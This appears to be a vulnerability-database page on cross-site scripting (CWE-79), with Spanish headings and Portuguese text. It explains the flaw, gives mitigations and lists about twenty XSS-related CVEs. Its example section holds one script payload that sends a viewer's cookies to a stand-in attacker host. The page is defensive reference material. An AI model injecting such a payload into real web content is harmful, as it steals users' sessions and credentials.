Fallos del tipo CWE-79

30.669 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-24124—WP Shieldon 1.6.3 - Unauthenticated Cross-Site Scripting (XSS)EPSS 1.1%CVE-2020-11083LOWStored XSS in OctoberEPSS 1.1%CVE-2022-3123MEDIUMCross-site Scripting (XSS) - Reflected in splitbrain/dokuwikiEPSS 1.1%CVE-2024-50053MEDIUMStored XSSEPSS 1.1%CVE-2020-25715—A flaw was found in pki-core 10.9.0. A specially crafted POST request can be used to reflect a DOM-based cross-site scripting (XSS) attack tEPSS 1.1%CVE-2024-7703MEDIUMARMember – Membership Plugin, Content Restriction, Member Levels, User Profile & User signup <= 4.0.37 - Authenticated (Subscriber+) Stored Cross-Site Scripting via SVG File UploadEPSS 1.1%CVE-2022-40434CRITICALSoftr v2.0 was discovered to be vulnerable to HTML injection via the Name field of the Account page.EPSS 1.1%CVE-2024-21395HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 1.1%CVE-2021-39178HIGHXSS in Image Optimization API for Next.js versions between 10.0.0 and 11.1.0EPSS 1.1%CVE-2022-1961MEDIUMGoogle Tag Manager for WordPress (GTM4WP) <= 1.15.1 - Stored Cross-Site Scripting via Content Element IDEPSS 1.1%CVE-2020-8155—An outdated 3rd party library in the Files PDF viewer for Nextcloud Server 18.0.2 caused a Cross-site scripting vulnerability when opening aEPSS 1.1%CVE-2026-116926HIGHMicrosoft Teams Spoofing VulnerabilityEPSS 1.1%CVE-2022-44957MEDIUMwebtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /clients/listclients.php. This vulneraEPSS 1.1%CVE-2022-44944MEDIUMRukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add Announcement function at /index.phEPSS 1.1%CVE-2021-39349MEDIUMAuthor Bio Box <= 3.3.1 Authenticated Stored Cross-Site ScriptingEPSS 1.1%CVE-2024-47875CRITICALDOMPurify nesting-based mXSSEPSS 1.1%CVE-2022-1557—ULeak Security & Monitoring <= 1.2.3 - Subscriber+ Stored Cross-Site ScriptingEPSS 1.1%CVE-2024-11428MEDIUMLazy load videos and sticky control <= 3.0.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 1.1%CVE-2024-21520MEDIUMVersions of the package djangorestframework before 3.15.2 are vulnerable to Cross-site Scripting (XSS) via the break_long_headers template fEPSS 1.1%CVE-2021-40714MEDIUMAdobe Experience Manager Reflected Cross Site Scripting via accesskey parameterEPSS 1.1%